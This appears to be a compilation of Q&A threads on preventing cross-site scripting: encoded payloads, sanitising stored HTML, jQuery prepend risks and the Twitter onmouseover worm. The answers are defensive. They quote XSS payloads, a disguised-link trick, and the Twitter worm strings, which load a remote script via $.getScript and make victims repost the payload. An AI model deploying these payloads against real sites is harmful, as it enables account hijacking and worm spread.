How to protect against Encoded URL XSS Attack - javascript

I got following 2 questions as:
1) How to protect from this kind of XSS Attacks?
https://www.example.com/index.php?&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041
If suppose for some reason, the query parameter is embedded in an image load event then it would be like this
<img src=x onload="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
//And browser treats as
<img src=x onload="javascript:alert('XSS')">
I am already using PHP's htmlspecialchars() and Filtar_var() with URL Sanitization, but this kind of encoded XSS will easily get pass through these functions
How can we defend such Encoded XSS or neutralize any such attack?
2) Is it necessary for an XSS attack to get embedded in HTML Page, Javascript or CSS etc in order to get triggered? or there can be a way where XSS does not need to be embedded?

htmlspecialchars is a perfectly good defence against XSS when you are inserting user input into an HTML document.
It stops any HTML syntax in the user input from breaking out of where you intend for it to go and being treated as JavaScript.
Your problem has nothing to do with the fact the attack is encoded. The problem is that are are putting user input somewhere that JavaScript is expected (and onload attribute) so it is already being treated as JavaScript.
json_encode is the usual solution here (and then htmlspecialchars because the JavaScript is inside an HTML attribute).
However, that only works when you are taking user input and putting it into a script to be used as data. Here it seems that you are taking user input and just treating the whole thing as a JavaScript function.
If you do that then you are going to be vulnerable to XSS. You can mitigate it to some degree by implementing defenses against CSRF, but you almost certainly shouldn't be doing this in the first place.

Related

Bypass server-side URL encoding -[Firing range automation]

I'm trying to make an automated XSS detection toolkit for myself and I'm using google's firing range for testing it. For this particular case of escaped XSS in HTML context https://public-firing-range.appspot.com/escape/serverside/encodeUrl/attribute_name?q=a
Whatever value q takes gets encoded server-side and is then reflected back into the HTML. How can I solve this? I tried double encoding and other kinds of stuff like Homoglyphs but nothing seems to be working.

What HTML tags would be considered dangerous if stored in SQL Server?

Considering issues like CSRF, XSS, SQL Injection...
Site: ASP.net, SQL Server 2012
I'm reading a somewhat old page from MS: https://msdn.microsoft.com/en-us/library/ff649310.aspx#paght000004_step4
If I have a parametrized query, and one of my fields is for holding HTML, would a simple replace on certain tags do the trick?
For example, a user can type into a WYSIWYG textarea, make certain things bold, or create bullets, etc.
I want to be able to display the results from a SELECT query, so even if I HTMLEncoded it, it'll have to be HTMLDecoded.
What about a UDF that cycles through a list of scenarios? I'm curious as to the best way to deal with the seemingly sneaky ones mentioned on that page:
Quote:
An attacker can use HTML attributes such as src, lowsrc, style, and href in conjunction with the preceding tags to inject cross-site scripting. For example, the src attribute of the tag can be a source of injection, as shown in the following examples.
<img src="javascript:alert('hello');">
<img src="java
script:alert('hello');">
<img src="java
script:alert('hello');">
An attacker can also use the <style> tag to inject a script by changing the MIME type as shown in the following.
<style TYPE="text/javascript">
alert('hello');
</style>
So ultimately two questions:
Best way to deal with this from within the INSERT statement itself.
Best way to deal with this from code-behind.
Best way to deal with this from within the INSERT statement itself.
None. That's not where you should do it.
Best way to deal with this from code-behind.
Use a white-list, not a black-list. HTML encode everything, then decode specific tags that are allowed.
It's reasonable to be able to specify some tags that can be used safely, but it's not reasonable to be able to catch every possible exploit.
What HTML tags would be considered dangerous if stored in SQL Server?
None. SQL Server does not understand, nor try to interpret HTML tags. A HTML tag is just text.
However, HTML tags can be dangerous if output to a HTML page, because they can contain script.
If you want a user to be able to enter rich text, the following approaches should be considered:
Allow users (or the editor they are using) to generate BBCode, not HTML directly. When you output their BBCode markup, you convert any recognised tags to HTML without attributes that contain script, and any HTML to entities (& to &, etc).
Use a tried and tested HTML sanitizer to remove "unsafe" markup from your stored input in combination with a Content Security Policy. You must do both otherwise any gaps (and there will be gaps) in the sanitizer could allow an attack, and not all browsers full support CSP yet (IE).
Note that these should be both be done on point of output. Store the text "as is" in your database, simply encode and process for the correct format when output to the page.
Sanitize html both on the client and on the server before you stuff any strings into SQL.
Client side:
TinyMCE - does this automatically
CKEditor - does this automatically
Server side:
Pretty easy to do this with Node, or the language/platform of your choice.
https://www.realwebsite.com
the link above shows www.realwebsite.com while it actually takes you to www.dangerouswebsite.com...
<a '
href="https://www.dangerouswebsite.com">
https://www.realwebsite.com
<'/a>
do not include the random ' in the code I put it there to bypass activating the code so you can see the code instead of just the link. (btw most websites block this or anything if you add stuff like onload="alert('TEXT')" but it can still be used to trick people into going to dangerous websites... (although its real website pops up on the bottom of your browser, some people don't check it or don't understand what it means.))

Secure database entry against XSS

I'm creating an app that retrieves the text within a tweet, store it in the database and then display it on the browser.
The problem is that I'm thinking if the text has PHP tags or HTML tags it might be a security breach there.
I looked into strip_tags() but saw some bad reviews. I also saw suggestions to HTML Purifier but it was last updated years ago.
So my question is how can I be 100% secure that if the tweet text is "<script> something_bad() </script>" it won't matter?
To state the obvious the tweets are sent to the database from users so I don't want to check all individually before displaying them.
You are NEVER 100% secure, however you should take a look at this. If you use ENT_QUOTES parameter too, currently there are no ways to inject ANY XSS on your website if you're using valid charset (and your users don't use outdated browsers). However, if you want to allow people to only post SOME html tags into their "Tweet" (for example <b> for bold text), you will need to take a deep look at EACH whitelisted tag.
You've passed the first stage which is to recognise that there is a potential issue and skipped straight to trying to find a solution, without stopping to think about how you want to deal the scenario of the content. This is a critical pre-cusrsor to solving the problem.
The general rule is that you validate input and escape output
validate input
- decide whether to accept or reject it it in its entirety)
if (htmlentities($input) != $input) {
die "yuck! that tastes bad";
}
escape output
- transform the data appropriately according to where its going.
If you simply....
print "<script> something_bad() </script>";
That would be bad, but....
print JSONencode(htmlentities("<script> something_bad() </script>"));
...then you'd would have done something very strange at the front end to make the client susceptivble to a stored XSS attack.
If you're outputting to HTML (and I recommend you always do), simply HTML encode on output to the page.
As client script code is only dangerous when interpreted by the browser, it only needs to be encoded on output. After all, to the database <script> is just text. To the browser <script> tells the browser to interpret the following text as executable code, which is why you should encode it to <script>.
The OWASP XSS Prevention Cheat Sheet shows how you should do this properly depending on output context. Things get complicated when outputting to JavaScript (you may need to hex encode and HTML encode in the right order), so it is often much easier to always output to a HTML tag and then read that tag using JavaScript in the DOM rather than inserting dynamic data in scripts directly.
At the very minimum you should be encoding the < & characters and specifying the charset in metatag/HTTP header to avoid UTF7 XSS.
You need to convert the HTML characters <, > (mainly) into their HTML equivalents <, >.
This will make a < and > be displayed in the browser, but not executed - ie: if you look at the source an example may be <script>alert('xss')</script>.
Before you input your data into your database - or on output - use htmlentities().
Further reading: https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

jQuery Prepend Security

Here is a rookie question, if I have a textarea that doesn't submit anywhere...
<form onsubmit="return false;">
<textarea name="new_title_text" id="new_title_text"></textarea>
</form>
and I use jQuery to prepend the value of the textarea to a div...
var textValue = $('#new_title_text').val()
$('#myDiv').prepend('<div>' + textValue + '</div>');
Are there any security vulnerabilities with this? Can someone somehow inject JavaScript and preform XSS, CSRF or any other type of attack? I understand that once I submit the value to my server then it needs to be checked, but is there anything that can happen before submission?
Thanks in advanced!
Basically you can't trust any validation done client side as people can (pretty easily) bypass JavaScript validation.
Do your proper validation and sanitation on your server and leave the client side validation simply for the user experience and to not "bother" your server with clearly invalid data - such as empty fields where a value is required.
Unless you are letting your users submit some PHP code or JavaSctipt code to be executed elsewhere on your site you should be safe. Always remember NOT to trust any data coming in from users. Treat all incoming data as a potential threat and sanitize anything you deal with if you plan to use it later.
Can someone somehow inject JavaScript and preform XSS, CSRF or any other type of attack
Yes. You are injecting text into an HTML string without HTML-escaping, so any metacharacters in that string (< or &) will fail and may be vulnerable to injection attacks (eg <script>...).
The question is who is that someone? From your current code it doesn't appear possible for an external party to pre-fill the textarea, so it would have to be the user attacking themselves (not really a vulnerability).
So you either need to HTML-escape the string going into HTML, or, better, use DOM-style access methods like .text() and .attr() to set text content and attributes without using crude string markup generation. Or the creation shorthand:
$('#myDiv').prepend(
$('<div>', {text: $('#new_title_text').val()})
);
The basic idea is that yes, it's unsafe to use prepend with untrusted data. However the exploitability does depend on the scenario. If an attacker can craft a url that causes that script to run with an untrusted value, you definitely have an XSS problem. If however a user can only trigger this himself by entering unsafe data and clicking the button, it's more safe, but not quite. This is often called self-xss and is sometimes exploited together with clickjacking etc.
For more info on unsafe jquery functions see: http://erlend.oftedal.no/blog/?blogid=127

Today's XSS onmouseover exploit on twitter.com

Can you explain what exactly happened on Twitter today? Basically the exploit was causing people to post a tweet containing this link:
http://t.co/#"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/
Is this technically an XSS attack or something else?
Here is how the Twitter home page looked like: http://www.flickr.com/photos/travelist/6832853140/
The vulnerability is because URLs were not being parsed properly. For example, the following URL is posted to Twitter:
http://thisisatest.com/#"onmouseover="alert('test xss')"/
Twitter treats this as the URL. When it is parsed Twitter wraps a link around that code, so the HTML now looks like:
http://thisisatest.com/#"onmouseover="alert('test xss')"/</span>
You can see that by putting in the URL and the trailing slash, Twitter thinks it has a valid URL even though it contains a quote mark in it which allows it to escape (ie. terminate the href attribute, for the pedants out there) the URL attribute and include a mouse over. You can write anything to the page, including closing the link and including a script element. Also, you are not limited by the 140 character limit because you can use $.getScript().
This commit, if it were pulled, would have prevented this XSS vulnerability.
In detail, the offending regex was:
REGEXEN[:valid_url_path_chars] = /(?:
#{REGEXEN[:wikipedia_disambiguation]}|
#[^\/]+\/|
[\.\,]?#{REGEXEN[:valid_general_url_path_chars]}
)/ix
The #[^\/]+\/ part allowed any character (except a forward slash) when it was prefixed by an # sign and suffixed by a forward slash.
By changing to ##{REGEXEN[:valid_general_url_path_chars]}+\/ it now only allows valid URL characters.
Yes this is XSS, it is attacking a javascript event handler. What is cool about this XSS is that it doesn't require <> to exploit. The injected string is: size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')".
The size::999999999999px makes it very large and there for more likly that someone will mouse over it. The real problem is the onmouseover= event handler.
To prevent this in PHP you need to convert quote marks into their html entities:
$var=htmlspecialchars($var,ENT_QUOTES);
This is because HTML you cannot escape quotes like sql: \'
The exploit was a classic piece of Javascript injection. Suppose you write a tweet with the following text:
"http://www.guardian.co.uk/technology is the best!"
When you view the Twitter web page, that becomes a link, like so:
<a href="http://www.guardian.co.uk/technology" class="tweet-url web"
rel="nofollow">http://www.guardian.co.uk/technology</a> is the best!
The exploit attacked that link-making function. The raw text of the exploit tweet would read something like this:
http://a.no/#";onmouseover=";$('textarea:first').val(this.innerHTML);
$('.status-update-form').submit();"class="modal-overlay"/
Which Twitter didn't protect properly, probably because the #" character combination broke their [HTML] parser. That link would generate the following page source:
<a href="http://a.no/#";onmouseover=";$('textarea:first').val(this.innerHTML);
$('.status-update-form').submit();"class="modal-overlay"/ class="tweet-url web"
rel="nofollow">
This means that executable content (the onMouseOver="stuff" bit) has ended up in the page source code. Not knowing any better, the browser runs this code. Because it's running in the user's browser, it can do anything the user does; most variations used this power to re-post the content, which is why it spread like a virus. To encourage the user to activate the code by mousing over, they also formatted the block as black-on-black using CSS [Cascading Style Sheets, which determines the page layout]. Other versions were hacked around by users to have all sorts of other effects, such as porn site redirects, rainbow text in their tweets, and so forth. Some of them popped up dialog boxes designed to alarm the users, talking about accounts being disabled or passwords stolen (they weren't, in either case).
Twitter fixed this not by blocking the string onMouseOver (which some dim-witted blogs were calling for) but by properly sanitising the input. The " marks in these tweets are now turned into " – the HTML-escaped form.
Technically this is a second-order injection attack; the attack string is inserted into the database and handled correctly, but then the attack takes place as the string is read back out instead. It's not that complex an attack at all either - rather embarrassing for Twitter that they were caught out by this.
Source: The Twitter hack: how it started and how it worked
It's an XSS exploit. As Twitter admitted in their update. You can prevent attacks like that by never allowing users to post javascript code. You should always filter it out. More information about avoiding XSS can be found here: http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
From Wikipedia: "Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications that enables malicious attackers to inject client-side script into web pages viewed by other users."
Today's attack fits the bill to me.
Basically there was some sort of parsing error with Twitter.com display code. When they converted URLs to HTML hyperlinks, they weren't handling # characters correctly and this was causing javascript events to be inserted into the HTML link.

Categories